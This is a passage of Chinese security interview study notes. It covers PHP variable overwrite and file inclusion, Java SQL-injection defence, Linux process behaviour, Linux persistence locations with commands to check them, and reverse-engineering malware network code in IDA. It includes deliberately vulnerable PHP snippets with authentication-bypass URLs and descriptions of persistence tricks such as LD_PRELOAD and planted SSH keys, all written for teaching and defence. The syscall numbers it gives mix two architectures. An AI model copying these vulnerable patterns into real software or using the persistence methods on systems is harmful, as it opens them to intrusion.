当试图访问一个不存在的或不可访问的属性时,__get() 会被调用。当试图给一个不存在的或不可访问的属性赋值时,__set() 会被调用

  • 攻击思路: 这两个方法经常用于创建所谓的“属性链”。通过控制 __get()__set() 中的逻辑,可以间接控制其他对象的属性或触发其他方法。例如,__get() 返回的对象又可以触发其自身的魔术方法,形成一个连锁反应

常见的路由方法

1. 静态路由

这是最简单、最直接的路由方式。你为每个固定的URL定义一个唯一的处理程序

  • 示例:
    • /about -> AboutController::index()
    • /contact -> ContactController::show()

这种方法的优点是清晰直观、性能高,因为框架不需要进行复杂的模式匹配。缺点是灵活性差,无法处理动态变化的URL,比如文章 ID 或用户 ID

2. 动态路由

动态路由允许你在 URL 中定义可变参数。这通常通过在路由规则中使用占位符来实现

  • 示例:
    • /posts/{id} -> PostController::show($id)
    • /users/{name} -> UserController::profile($name)

这种方法非常灵活,能很好地处理像博客文章、用户资料页等需要动态内容的场景。现代框架通常还支持为这些占位符添加正则表达式约束,以确保参数格式正确

3. 命名路由

命名路由为每个路由规则分配一个唯一的名称。这个名称可以在应用中用来生成URL,而不是直接硬编码URL字符串

  • 示例:
    • 定义:Route::get('/profile/{id}', 'UserController@show')->name('user.profile');
    • 使用:redirect(route('user.profile', ['id' => 1]));

命名路由是最佳实践。它的主要优点是可维护性高。如果将来 URL 结构发生变化,你只需要修改路由定义文件,而不需要在整个代码库中查找和替换所有硬编码的 URL

4. 路由群组

路由群组允许你将一组具有共同属性(如前缀、中间件或命名空间)的路由组合在一起

  • 示例:
    • Route::prefix('admin')->group(function () {
    • Route::get('/dashboard', 'AdminController@dashboard');
    • Route::get('/users', 'AdminController@users');
    • });

上述代码会将 /admin/dashboard/admin/users 这两个路由组合在一起。路由群组的主要好处是减少代码重复,让路由定义更加简洁和有条理


介绍下 PHP 的变量覆盖

有几个 PHP 函数在不安全地使用时,极易引发变量覆盖漏洞

1. extract()

extract()函数从一个数组中导入变量到当前的符号表。它会根据数组的键名创建同名的变量,并将键值赋给这些新变量

  • 漏洞示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    $username = 'guest';
    $password = '123456';

    // 从 $_GET 中导入变量,但没有做任何过滤
    extract($_GET);

    if ($username === 'admin' && $password === 'mypassword') {
    echo 'Login successful as admin!';
    } else {
    echo 'Login failed.';
    }
    ?>

    在这个例子中,攻击者可以通过URL ?username=admin&password=mypassword 来覆盖 $username$password 这两个变量,从而绕过身份验证

  • 安全建议: 使用 extract() 时,务必指定第二个参数 $flagsEXTR_SKIPEXTR_PREFIX_ALL,以防止覆盖现有变量。例如:extract($_GET, EXTR_SKIP);

2. parse_str()

parse_str()函数用于解析URL参数字符串,并将其作为变量导入到当前作用域

  • 漏洞示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    $username = 'guest';

    // 将请求的参数字符串解析为变量
    parse_str($_SERVER['QUERY_STRING']);

    if ($username === 'admin') {
    echo 'Hello admin!';
    }
    ?>

    攻击者可以通过 ?username=admin 来覆盖 $username 变量

  • 安全建议: 始终将 parse_str() 的第二个参数设置为一个数组变量,这样解析的结果会存入该数组,而不是直接创建全局变量。例如:parse_str($_SERVER['QUERY_STRING'], $query_data);

3. import_request_variables()

这个函数在PHP 5.4.0 版本后被移除。它的功能是把 $_GET$_POST$_COOKIE 中的变量导入到全局作用域。由于其固有的安全风险,不应再使用

4. $$ (双重美元符)

双重美元符是一种特殊的变量语法,它会将一个变量的值作为另一个变量的名称

  • 漏洞示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    $name = 'default';

    foreach ($_GET as $key => $value) {
    // 动态地创建变量名
    $$key = $value;
    }

    echo "Hello, " . $name;
    ?>

    如果URL为 ?name=hacker$key 的值为 name$value 的值为 hacker。那么 $$key 实际上就是 $name,它的值被设置为 hacker。攻击者可以通过这种方式覆盖 $name 变量

  • 安全建议: 避免在没有严格过滤的情况下使用双重美元符来动态创建变量


远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么

1. 本地文件包含(LFI)

本地文件包含漏洞是指攻击者能够包含服务器本地文件系统上的任意文件。这种漏洞的利用通常不依赖于特定的 php.ini 设置,而是完全取决于代码本身的不安全实现

关键的 PHP 设置:

  • allow_url_include:这个设置通常与 LFI 无关。它只控制是否允许包含远程文件。即使 allow_url_includeOff,LFI 漏洞仍然可以存在
  • open_basedir:这是一个重要的安全设置,它可以限制 PHP 脚本能够访问的文件目录。如果配置得当,它可以有效缓解LFI的危害。例如,将 open_basedir 设置为 /var/www/html/,那么PHP脚本就无法包含该目录之外的文件,例如 /etc/passwd

总结:对于 LFI,PHP 配置本身提供的防御措施相对有限。open_basedir 是最有用的一个,但代码层面的白名单验证和输入过滤才是最根本的防御手段

2. 远程文件包含(RFI)

远程文件包含漏洞是指攻击者能够包含来自外部服务器的任意文件。这种漏洞的利用直接依赖于 PHP 的特定配置

关键的 PHP 设置:

  • allow_url_include:这是RFI 漏洞的核心开关
    • allow_url_include = On:允许通过 URL(如 http://ftp://)来包含远程文件。这是导致 RFI漏洞的直接原因
    • allow_url_include = Off禁止通过 URL 来包含远程文件。这是默认和推荐的安全设置。只要这个设置是 Off,即使代码本身存在缺陷,也无法触发远程文件包含攻击
  • allow_url_fopen:这个设置间接影响 RFI。它控制是否允许 URL 作为文件来处理,比如在 file_get_contents()fopen() 函数中。虽然它本身不直接影响 include,但在某些攻击场景中,如果攻击者需要远程获取文件内容再进行处理,这个设置就会起到作用。然而,allow_url_include 才是决定性的

总结allow_url_include 的值是判断一个 PHP 应用是否存在RFI漏洞风险的最关键因素。在生产环境中,始终建议将其设置为 Off

特性 本地文件包含(LFI) 远程文件包含(RFI)
漏洞类型 包含服务器本地文件 包含外部服务器文件
核心函数 include($filename) include($url)
关键PHP设置 open_basedir(缓解) allow_url_include(决定性)
防御重点 代码层面的白名单和输入过滤 php.ini 中将 allow_url_include 设为 Off
风险 读取敏感文件,配合其他漏洞可能导致RCE 直接导致RCE

22- Java 代码审计系列

JAVA 在做 SQL 注入防御时有哪些方法

1. 使用预处理语句

这是 Java 中防御 SQL 注入最主要、最安全的方法。它与数据库通信时,会先发送 SQL 语句的模板,数据库编译好后,再将用户数据作为参数发送。这样,数据库只将数据视为数据,不会当作可执行的 SQL 命令

JDBC 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class UserDAO {

public void getUserData(String username) {
String sql = "SELECT * FROM users WHERE username = ?";

try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/testdb", "user", "password");
PreparedStatement pstmt = conn.prepareStatement(sql)) {

// 1. 设置参数,将用户输入绑定到占位符
pstmt.setString(1, username);

// 2. 执行查询
try (ResultSet rs = pstmt.executeQuery()) {
if (rs.next()) {
System.out.println("User found: " + rs.getString("username"));
} else {
System.out.println("User not found.");
}
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
  • 核心: 使用 ? 作为占位符,然后通过 pstmt.setString()pstmt.setInt() 等方法将用户输入绑定到这些占位符上

2. 使用 ORM 框架

如果你使用 Java 生态系统中的主流框架,如 Spring Boot、Hibernate、MyBatis,那么 ORM 是首选。这些框架将面向对象编程与关系型数据库操作结合起来,从根本上消除了手动编写 SQL 的需要,从而自动防御 SQL 注入

Hibernate 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.query.Query;
import com.example.model.User;

public class UserRepository {

private final SessionFactory sessionFactory;

public User findByUsername(String username) {
try (Session session = sessionFactory.openSession()) {
// HQL (Hibernate Query Language) 示例
// Hibernate 会自动处理参数绑定
Query<User> query = session.createQuery("from User where username = :username", User.class);
query.setParameter("username", username);

return query.uniqueResult();
}
}
}
  • 核心: Hibernate 等 ORM 框架在底层使用预处理语句来执行所有数据库操作,因此你不需要担心 SQL 注入问题

3. 最小权限原则

这是一个重要的安全实践

  • 不要使用数据库的管理员账户(如 root)来运行应用程序
  • 为你的应用程序创建专用的数据库用户,并只授予其完成任务所需的最小权限。例如,一个只进行读取操作的服务,其数据库用户就应该只有 SELECT 权限
防御方法 优点 缺点 推荐度
预处理语句 最安全、最彻底的防御;将数据与SQL代码分离。 需要手动编写SQL,语法略显繁琐。 最高
ORM框架 从根本上杜绝SQL注入;开发效率高;代码可读性好。 需要学习框架;不适用于简单或无框架项目。 非常高
最小权限 降低攻击后的危害。 无法从根本上防御注入。 非常高(作为安全原则)

23- 操作系统

进程和线程内存空间的关系

进程的内存空间

一个进程可以看作是一个正在运行的程序实例。操作系统为每个进程分配独立的、私有的内存空间,这通常被称为虚拟地址空间。这个独立的地址空间主要包括以下几个关键区域:

  • 代码段:存放可执行文件的机器指令(也就是程序的代码)。这部分通常是只读的,以防止程序在运行时修改自身代码
  • 数据段:存放已初始化的全局变量和静态变量
  • BSS 段:存放未初始化的全局变量和静态变量
  • :用于动态内存分配。程序在运行时,可以随时从堆中申请和释放内存
  • :用于存放局部变量、函数参数和返回地址。栈是自动管理的,遵循先进后出(LIFO)的原则

关键点:每个进程都有自己独立的虚拟地址空间。这意味着,一个进程无法直接访问另一个进程的内存,除非使用进程间通信(IPC)机制。这种隔离性是操作系统的核心安全机制,可以防止一个进程的错误影响到其他进程,从而保证系统的稳定性

线程的内存空间

一个线程是进程内的一个执行单元,有时也被称为“轻量级进程”。与进程不同的是,同一个进程内的所有线程共享该进程的内存空间

具体来说,这些线程共享:

  • 代码段:所有线程执行的是同一份程序代码
  • 数据段:所有线程都可以访问和修改同一个进程的全局变量和静态变量
  • :所有线程都可以从同一个堆中申请和释放动态内存

但是,每个线程都有自己独立的私有部分:

  • :每个线程都有自己的私有栈,用于存放它自己的局部变量和函数调用信息。这是为了确保每个线程在执行函数时,不会影响到其他线程的执行上下文
  • 寄存器:每个线程都有自己的寄存器集合,用来保存其执行状态

可以把进程想象成一个拥有独立房子的住户,这个房子里有独立的厨房、客厅和卧室(代表私有的内存空间)。而线程则可以想象成房子里的不同家庭成员

  • 进程:拥有独立的房子(独立的地址空间
  • 线程:是房子里的家庭成员。他们共享房子里的公共区域,比如客厅(堆)厨房(数据段),但每个人有自己的卧室(栈)和衣柜(寄存器)

介绍下父子进程

父子进程的创建

父子进程的关系是通过一个特殊的系统调用——fork() 来创建的

  1. 当一个进程(我们称之为父进程)调用 fork() 时,操作系统会复制父进程的几乎所有信息,包括代码、数据、堆、栈等,来创建一个新的进程,也就是子进程
  2. fork() 系统调用有一个关键的特点:在父进程中,它会返回新创建的子进程的 PID(进程ID);而在子进程中,它会返回 0。这使得程序可以根据返回值来判断自己是父进程还是子进程,并执行不同的代码路径

父子进程的资源关系

尽管子进程是父进程的副本,但在资源管理上,它们之间存在一些重要的区别:

  • 独立的内存空间:在创建时,子进程会获得一个与父进程几乎相同的独立内存副本。这意味着,父进程和子进程对各自内存的修改不会互相影响。这遵循了 写时复制(Copy-on-Write, CoW) 的机制,即最初它们共享相同的内存页,只有当任一进程试图修改该内存页时,才会真正创建一个新的副本
  • 独立的 PID:每个进程都有一个唯一的 PID,子进程会获得一个新的、独立的 PID
  • 共享资源:父子进程会共享一些只读资源,例如程序代码段。此外,它们还会共享打开的文件描述符。这意味着,如果在 fork() 前父进程打开了一个文件,那么子进程也会继承这个文件描述符,可以继续读写这个文件

父子进程的生命周期

  • 正常终止:如果父进程或子进程正常执行完毕,它们会退出。当子进程终止时,它会变成一个僵尸进程(Zombie Process),直到它的父进程通过 wait()waitpid() 系统调用来“收尸”,获取它的退出状态,然后这个僵尸进程才会被操作系统彻底清理
  • 孤儿进程:如果父进程在子进程之前终止,子进程就会成为一个孤儿进程(Orphan Process)。在这种情况下,操作系统的 init 进程(PID 1) 会收养这个孤儿进程,成为它的新父进程。init 进程会负责清理这些孤儿进程,防止它们变成永久的僵尸进程

孤儿进程和僵尸进程区别

僵尸进程

僵尸进程是已经终止(执行完毕或被杀死)但其父进程尚未收集wait()waitpid() 系统调用)其退出状态的进程

  • 产生原因:当一个子进程终止时,它会向操作系统发送一个信号,表示自己已完成任务。操作系统会释放该进程几乎所有的资源,包括内存和文件描述符。然而,它的进程描述符(PCB,Process Control Block)仍然保留在内存中,以便父进程能够读取它的退出状态(例如,是否成功执行、退出码是多少)。如果父进程没有及时调用 wait()waitpid() 来获取这些信息并释放子进程的 PCB,子进程就会一直处于“僵尸”状态
  • 特点
    • 不占用内存空间
    • 会占用一个 PID,因为 PCB 还没有被回收
    • 由于 PID 是有限的,大量的僵尸进程可能会导致系统没有可用的 PID,从而无法创建新的进程
  • 如何识别:在 pstop 命令的输出中,僵尸进程的状态通常显示为 <defunct>Z
  • 处理方法:唯一能清理僵尸进程的方法是杀死它的父进程。当父进程被杀死后,这个僵尸进程就会变成一个孤儿进程,并被 init 进程(PID 1)收养,init 进程会负责清理它。

孤儿进程

孤儿进程是指正在运行但其父进程已经终止的进程

  • 产生原因:当父进程在子进程之前退出,子进程就成了“孤儿”
  • 特点
    • 仍然在运行,只是失去了它的原始父进程
    • 不会成为系统的负担,因为它会自动被操作系统中最特殊的进程——init 进程(PID 1)收养
  • 如何识别:在 ps 命令的输出中,你可以看到它的父进程 ID(PPID)变成了 1
  • 处理方法:孤儿进程会被 init 进程收养init 进程会像对待自己的子进程一样,在它最终终止时调用 wait() 来收集其退出状态,从而防止它变成一个僵尸进程
特性 僵尸进程(Zombie Process) 孤儿进程(Orphan Process)
状态 已终止,但其进程描述符未被父进程回收。 正在运行,但其父进程已终止。
产生原因 父进程没有调用 wait() 或 waitpid()。 父进程在子进程之前退出。
系统影响 占用 PID,大量存在会导致 PID 资源耗尽。 通常无害,会被 init 进程收养。
处理方式 杀死其父进程。 由 init 进程自动收养并管理,无需人工干预。
ps 状态 Z 或 运行中,但其 PPID(父进程 ID)为 1。

Kill 一个进程的时候都发生了那些事情,从父子进程角度讲

1. 信号发送与接收

当你执行 kill <PID> 时,操作系统内核会向指定的进程(通常是子进程)发送 SIGTERM 信号

  • 如果目标进程是子进程:父进程并没有直接参与这个过程。信号是由内核发送给目标进程的,由内核负责后续的调度和处理
  • 如果目标进程是父进程:同样,信号由内核直接发送。但父进程的死亡会对其子进程产生连锁反应

2. 进程对信号的响应

这是最关键的一步,也是 SIGTERMSIGKILL 最大的区别所在

  • 接收 SIGTERM(友好终止)
    • 这是一个“软性”的终止请求,目标进程可以**捕获(handle)忽略(ignore)**这个信号
    • 如果目标进程有信号处理程序,它会执行相应的清理工作,例如:
      • 释放占用的内存、文件描述符等资源
      • 保存当前的工作状态
      • 优雅地关闭网络连接
    • 清理完成后,进程会正常退出
    • 父子进程关系:如果被 kill 的是父进程,并且父进程捕获了 SIGTERM 并执行了清理,它可能会在退出前向它的子进程发送信号(例如 SIGTERM),或者等待子进程先退出。但如果父进程直接退出,其子进程会变成孤儿进程,被 init 进程收养
  • 接收 SIGKILL(强制终止)
    • 这是一个“硬性”的终止请求,目标进程无法捕获、忽略或阻止这个信号
    • 操作系统内核会直接终止这个进程,不会给它任何机会执行清理工作
    • 这种方式非常粗暴,可能导致数据丢失、资源泄露(例如,没有关闭的文件、没有释放的锁),所以通常不建议作为首选
    • 父子进程关系
      • 如果被 kill -9 的是子进程,它会立即被内核终止。子进程会进入僵尸状态,其父进程需要调用 wait() 来收集它的退出状态,否则它会一直占用一个 PID
      • 如果被 kill -9 的是父进程,父进程会立即被内核强制终止。其所有子进程都会立刻变成孤儿进程,并被 init 进程(PID 1)收养。init 进程会负责等待它们终止,并清理它们的僵尸状态,避免系统资源泄露

3. 进程状态转换与资源回收

无论以何种方式终止,进程都会经历以下状态转换:

  • 从运行状态到终止状态:当一个进程终止后,它的所有资源(如内存页、文件描述符等)都会被释放
  • 成为僵尸进程:一个进程终止后,它的进程描述符(PCB)仍然保留在内存中,记录其退出状态,等待父进程来“收尸”。此时,该进程就进入了僵尸状态
  • 父进程的责任:为了避免子进程成为僵尸,父进程的责任是调用 wait()waitpid()。一旦调用,内核就会将僵尸子进程的 PCB 彻底移除,释放其占用的 PID,完成最终的清理工作

Linux 开机自启动方式

系统级别的自启动方式

这些是系统在引导过程中自动执行的脚本或服务,通常用于启动核心服务和守护进程

1. Systemd

Systemd 是现代 Linux 发行版(如 Ubuntu 16.04+、CentOS 7+、Debian 8+)中最主流的启动管理器。它使用 .service 单元文件来定义服务,这些文件通常存放在以下目录:

  • /etc/systemd/system/:管理员创建或修改的服务文件
  • /usr/lib/systemd/system/:软件包安装的服务文件,不建议直接修改

恶意程序可能会在这些目录中创建或修改 .service 文件,将自己伪装成一个合法的服务

如何检查:

  • systemctl list-unit-files --type=service:列出所有服务的单元文件
  • systemctl status <service_name>:检查特定服务的状态
  • systemctl cat <service_name>:查看服务文件的具体内容,包括执行命令

2. Init 脚本

在较旧的 Linux 发行版中(如 CentOS 6、Ubuntu 14.04),系统使用 Init 脚本来管理启动

  • SysVinit:脚本存放在 /etc/init.d/ 目录,通过 rcX.d 目录(X代表运行级别)的软链接来控制服务的启动顺序
  • Upstart:配置文件存放在 /etc/init/ 目录

恶意程序可能会在 /etc/init.d/ 中添加新脚本,或在 /etc/rcX.d/ 中创建软链接,从而在系统启动时被执行

如何检查:

  • ls -l /etc/init.d/:查看所有 Init 脚本
  • ls -l /etc/rc?.d/:查看不同运行级别下的软链接

用户级别的自启动方式

这些方式通常只在特定用户登录后才会被执行,常用于启动桌面环境下的应用程序

1. Cron 定时任务

Cron 用于在指定的时间自动执行任务,也可以被配置为在系统启动时执行

  • /etc/crontab:系统级别的 Cron 文件,可用于设置在系统启动时执行的脚本(使用 @reboot 关键字)
  • /etc/cron.d/:存放独立的系统级 Cron 文件
  • /var/spool/cron/crontabs/<username>:用户级别的 Cron 文件

恶意程序可能会利用 @reboot 字段,将自己添加到这些文件中,从而实现开机自启动

如何检查:

  • cat /etc/crontab:查看系统 Cron 文件
  • ls -l /etc/cron.d/:查看独立 Cron 文件
  • crontab -l:查看当前用户的 Cron 任务
  • crontab -l -u <username>:查看特定用户的 Cron 任务。

2. 用户配置文件

许多 Shell 和桌面环境都有自己的启动文件

  • ~/.bashrc~/.bash_profile~/.profile:这些文件在用户登录时会被 Shell 加载,恶意代码可以被注入其中
  • ~/.config/autostart/:桌面环境(如 GNOME、KDE)下的自启动目录。这个目录下的 .desktop 文件可以指定一个程序在用户登录后自动运行

如何检查:

  • cat ~/.bashrc~/.bash_profile 等:检查可疑命令
  • ls -l ~/.config/autostart/:查看可疑的 .desktop 文件

其他隐蔽的自启动方式

除了上述常见方式,恶意程序还可能采用更隐蔽的手段。

1. SUID/SGID 文件

虽然不是直接的自启动方式,但拥有 SUID 或 SGID 权限的程序可以在不询问用户密码的情况下以高权限运行,这对于持久化攻击非常有用。攻击者可以利用这些程序在系统启动后被调用时,执行自己的恶意代码

如何检查:

  • find / -type f -perm /4000 2>/dev/null:查找所有 SUID 文件。
  • find / -type f -perm /2000 2>/dev/null:查找所有 SGID 文件

2. SSH 密钥

攻击者可以修改 ~/.ssh/authorized_keys 文件,添加自己的公钥,从而在无需密码的情况下远程登录。虽然不是开机自启动,但它能让攻击者在系统重启后仍能获得持续访问权限

如何检查:

  • cat ~/.ssh/authorized_keys:检查是否存在陌生的公钥

3. 动态链接库

LD_PRELOAD 环境变量可以让攻击者在程序启动时预先加载一个恶意动态链接库(.so 文件),从而劫持合法程序的函数调用,实现代码注入。如果将 LD_PRELOAD 变量写入全局配置文件(如 /etc/profile),则会对所有用户生效

如何检查:

  • cat /etc/profile~/.bashrc 等:检查 LD_PRELOAD 环境变量是否被设置

Linux 有哪些系统调用

1. 进程管理相关系统调用

这些调用用于创建、销毁和管理进程

  • fork(): 创建一个子进程,它是父进程的精确副本
  • execve(): 在当前进程中加载并执行一个新程序
  • wait4(): 暂停当前进程,等待子进程退出或停止
  • exit(): 终止当前进程并返回一个状态码。
  • getpid(): 获取当前进程的 ID。

2. 文件和设备管理相关系统调用

这些调用是应用程序与文件系统交互的核心,包括文件的创建、读写和权限管理

  • open(): 打开或创建一个文件,返回一个文件描述符
  • read(): 从文件描述符中读取数据
  • write(): 向文件描述符中写入数据
  • close(): 关闭一个文件描述符
  • lseek(): 移动文件读写指针的位置
  • stat(): 获取文件的状态信息,例如大小、权限和创建时间
  • unlink(): 删除一个文件
  • ioctl(): 用于设备特有的 I/O 操作

3. 信息维护相关系统调用

这些调用用于获取或设置系统信息,如时间、用户信息和系统配置

  • gettimeofday(): 获取当前时间和时区信息
  • uname(): 获取操作系统的名称和版本信息
  • getuid(): 获取当前用户的有效 ID
  • getgid(): 获取当前用户的有效组 ID

4. 通信相关系统调用

这些调用主要用于进程间通信(IPC)和网络通信

  • pipe(): 创建一个匿名管道,用于父子进程间的通信
  • socket(): 创建一个网络套接字
  • connect(): 连接到远程主机
  • bind(): 将套接字绑定到一个地址和端口
  • listen(): 监听来自客户端的连接请求
  • accept(): 接受一个客户端的连接

5. 内存管理相关系统调用

这些调用用于分配、释放和管理进程的内存

  • brk(): 改变数据段的结束地址
  • mmap(): 创建一个内存映射,用于在文件中或设备中进行内存操作
  • munmap(): 撤销 mmap() 创建的内存映射

说说 Linux 下的 Syscall

什么是系统调用(Syscall)?

在 Linux(及其他类 Unix 操作系统)中,系统调用是用户空间程序(User-space program)与内核(Kernel)之间进行交互的唯一接口

你可以将内核想象成一个操作系统的“核心”,它负责管理和控制计算机的所有硬件资源,例如 CPU、内存、硬盘和网络。而我们日常使用的所有应用程序,比如浏览器、文本编辑器或命令行工具,都运行在用户空间

为了确保系统的稳定和安全,用户空间的程序不能直接访问硬件。当一个程序需要做一些“特权”操作时,比如:

  • 读写文件
  • 创建或销毁进程
  • 分配内存
  • 发送网络数据包
  • 获取当前时间

它就必须通过一个系统调用来向内核发出请求。内核会检查这个请求是否合法,如果合法,就会代表用户程序执行这个操作

系统调用的工作流程

一个典型的系统调用流程如下:

  1. 准备参数:用户空间的程序将要传递给内核的参数(例如,打开文件时的文件名和权限)放入指定的通用寄存器中
  2. 设置系统调用号:程序将一个唯一的系统调用号(Syscall Number)放入另一个特定寄存器(在 x86 架构中通常是 EAXRAX)中。这个号码告诉内核,程序想要执行哪一个系统调用(比如 open 对应 2read 对应 3
  3. 触发软中断:程序执行一条特殊的中断指令(例如 int 0x80 在 32 位系统上,或者 syscall 在 64 位系统上)。这条指令会暂停用户程序的执行,并强制 CPU 将控制权从用户空间转移到内核空间
  4. 内核处理:内核接收到中断后,会根据寄存器中的系统调用号,在系统调用表中查找并执行对应的内核函数
  5. 返回结果:内核函数执行完毕后,会将结果(成功或失败的代码)放入一个寄存器中,并执行一条返回指令,将控制权和结果返回给用户空间的程序

24- 逆向破解

恶意样本给出函数家族的 md5,如何进行分类

1. 样本预处理

首先,我们需要拿到恶意样本文件。为了确保分析的安全性,这些样本通常在沙箱环境或隔离的虚拟机中运行和处理

2. 静态分析与函数提取

这是最关键的一步。我们需要使用专业的反汇编或反编译工具(如 IDA Pro、Ghidra、Binary Ninja 等)对样本进行静态分析,提取其中的所有函数

在提取过程中,我们要确保做到以下几点:

  • 识别所有函数: 准确地识别出样本中所有的函数入口点和函数体
  • 清理和标准化: 许多编译器会在函数中插入一些无用的代码(如栈帧设置、调试信息等)。为了确保哈希的一致性,我们需要清理这些与核心逻辑无关的代码。例如,可以使用工具去除 NOP(空操作)指令、对齐填充等
  • 标准化函数代码: 即使是相同的逻辑,不同的编译器或编译选项也会产生略有差异的机器码。为了让哈希值保持一致,我们需要对函数进行标准化。这通常涉及将函数体转化为一种更抽象、更稳定的表示形式,比如:
    • 代码归一化(Code Normalization): 替换寄存器名称、删除地址无关的指令,使得哈希值不受编译地址的影响
    • 指令序列哈希: 只对核心的指令序列进行哈希,忽略一些可变的部分

3. 计算函数哈希

在函数代码被标准化和清理后,我们就可以计算它们的 MD5 哈希值了。这里通常采用两种策略:

  • MD5 哈希: 直接对标准化后的函数二进制代码或其序列进行 MD5 计算。这是最简单也最直接的方法
  • 模糊哈希(Fuzzy Hashing): 对于一些变种较大的函数,使用 MD5 可能会失效。这时,我们可以使用模糊哈希算法,如 ssdeepTLSH。这些算法能够计算出相似度分数,而不是一个绝对的哈希值,从而可以匹配那些有细微改动的函数

4. 构建哈希数据库

在提取并计算出哈希值后,我们需要将这些信息存储到一个哈希数据库中。这个数据库通常包含以下信息:

  • 函数 MD5 哈希值
  • 该函数所属的样本文件名或哈希
  • 该函数的家族分类信息(如果已知)
  • 该函数的功能描述(如果分析过)

通过不断地分析新的样本并填充这个数据库,我们就能建立一个庞大的恶意软件函数指纹库

5. 家族分类

现在我们有了函数哈希和数据库,就可以开始进行分类了

  • 第一步: 拿到一个新的未知样本

  • 第二步: 按照上述步骤,提取该样本中的所有函数,并计算它们的 MD5 哈希值

  • 第三步: 将这些新计算出来的函数哈希值与我们的哈希数据库进行比对

  • 第四步: 如果一个或多个函数哈希在数据库中找到了匹配项,并且这些匹配项都指向同一个恶意软件家族(例如,都匹配到“Emotet”家族中的多个样本),那么我们就可以初步判断这个新样本也属于这个家族

  • 第五步: 如果匹配到了多个不同的家族,我们需要进行进一步的分析,比如:

    • 函数数量匹配: 看看哪个家族匹配到的函数数量最多
    • 核心功能函数匹配: 某些函数(如加密、持久化)比其他函数(如日志记录)更能代表一个家族的特征。如果核心功能函数匹配上了,分类的准确度会更高

    面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑

第一步:宏观审视与初步筛选

在深入细节之前,先从高层次了解程序的整体结构

  1. 字符串分析 (Strings):这是最有效的切入点。在 IDA Pro 中打开 View -> Open subviews -> Strings 窗口。大型木马通常会包含大量的硬编码字符串,这些字符串往往与网络通信直接相关。寻找以下关键字:

    • IP 地址或域名"192.168.1.1", "example.com", "evil.org"
    • URL 路径"/api/v1/data", "download.php", "update"
    • User-Agent"Mozilla/5.0", "User-Agent:"
    • 协议头"HTTP/1.1", "GET", "POST", "FTP", "socks"
    • 端口号"Port:", "8080", "443"
    • 错误信息"Connection failed", "Socket error", "Network busy"

    一旦找到可疑的字符串,右键点击它,选择 Xrefs from (交叉引用),就可以跳转到使用该字符串的代码位置。这通常是网络通信函数附近

  2. 函数列表筛选 (Functions):在 Functions 窗口中,IDA 会列出所有识别出的函数。虽然数量可能非常庞大,但我们可以通过函数名进行筛选

    • 自动生成的函数名:如果 IDA Pro 识别了标准库(如 libclibcurl)的函数,它会给它们一个有意义的名字。搜索与网络相关的函数名:socket, connect, send, recv, bind, listen, inet_addr, gethostbyname, HttpSendRequest 等。这些是网络编程的常用 API
    • 被调用的函数:点击这些被识别的网络函数,查看它们的 Xrefs to (交叉引用),这会告诉你木马代码中哪些地方调用了这些网络 API。这通常就是网络通信逻辑的起点

第二步:深入分析与代码追踪

找到可疑的网络 API 调用后,接下来要做的就是分析其上下文

  1. 参数分析:检查网络 API 调用的参数
    • send/recv:观察它们的缓冲区参数,这可以帮助你判断数据是发送还是接收,并了解数据的大小和内容
    • connect:查看它的地址和端口参数,这会告诉你木马试图连接哪个远程服务器
    • bind/listen:如果木马是一个服务器,会使用这些函数。查看它们的端口参数,了解木马监听的端口号
  2. 向上追溯调用链:从找到的网络 API 调用点开始,沿着函数调用链向上追溯
    • 使用 IDA Pro 的 Graph View (空格键),这会以图形化方式显示函数的控制流
    • 检查调用了网络 API 的函数。这个函数可能是一个高层封装,比如 send_data_to_c2
    • 进一步向上追溯,你可能会发现一个主循环或主逻辑函数,它负责决定何时进行网络通信
  3. 识别加密/编码逻辑:许多木马在网络传输前会对数据进行加密或编码,以逃避检测
    • 特征:在 sendrecv 调用之前,寻找复杂的循环、数学运算或位操作。这很可能就是数据处理(加密/编码)的代码
    • 字符串线索:查找 xor, aes, rsa, base64 等字符串,它们可能是加密或编码算法的实现

第三步:高级分析与数据流追踪

如果常规方法不起作用,可能需要更深入的分析

  1. 数据流分析:使用 IDA Pro 或其他工具(如 Binary Ninja)来追踪数据从源头到网络API调用的路径
    • 源头:数据的来源可能是键盘记录、文件读取、屏幕截图等
    • 追踪:从这些可能的源头变量开始,分析它们如何被处理、加密,最终作为 send 函数的参数
    • 使用插件:一些 IDA 插件(如 Lighthouse)可以辅助进行数据流分析和图表可视化
  2. 交叉引用矩阵:在 Functions 窗口中,你可以查看函数之间的交叉引用矩阵。通过分析哪些函数被频繁调用,哪些函数调用了其他网络相关的函数,可以构建一个更完整的网络通信图谱

如何动态地去找导入表

为什么要动态地查找?

静态地查找导入表非常简单,我们只需要解析 PE 文件头中的数据目录(Data Directory),找到导入表的结构体 IMAGE_IMPORT_DESCRIPTOR,然后就可以找到所有的导入函数。但这种方法有几个局限性:

  1. 脱壳(Unpacking): 许多恶意软件会使用加壳技术(packer),将原始的 PE 文件压缩或加密。这种情况下,原始的导入表会被隐藏或破坏,静态分析工具无法找到它。当程序运行时,加壳器会自行解压和修复导入表,因此只有在内存中才能找到真正的导入表
  2. 动态加载(Dynamic Loading): 程序可能会使用 LoadLibraryGetProcAddress 等函数在运行时动态加载 DLL 和获取函数地址。这种方式下,导入的函数根本不会出现在 PE 文件的静态导入表中
  3. 防止逆向工程: 有些程序开发者故意混淆或破坏导入表,以增加逆向工程的难度

因此,动态地查找导入表是进行脱壳、恶意软件分析和深入逆向工程的必备技能

方法一:利用 EAT (导出地址表)

这是最直接、也是最不寻常的方法。如果一个程序(比如一个 DLL)将自己的导入表中的函数地址作为导出函数暴露出来,你就可以通过解析它的导出表 (Export Address Table, EAT) 来找到导入表。但这种情况非常少见,通常只在一些特殊的系统 DLL 或驱动程序中出现。这种方法不具有通用性

方法二:利用函数调用指令

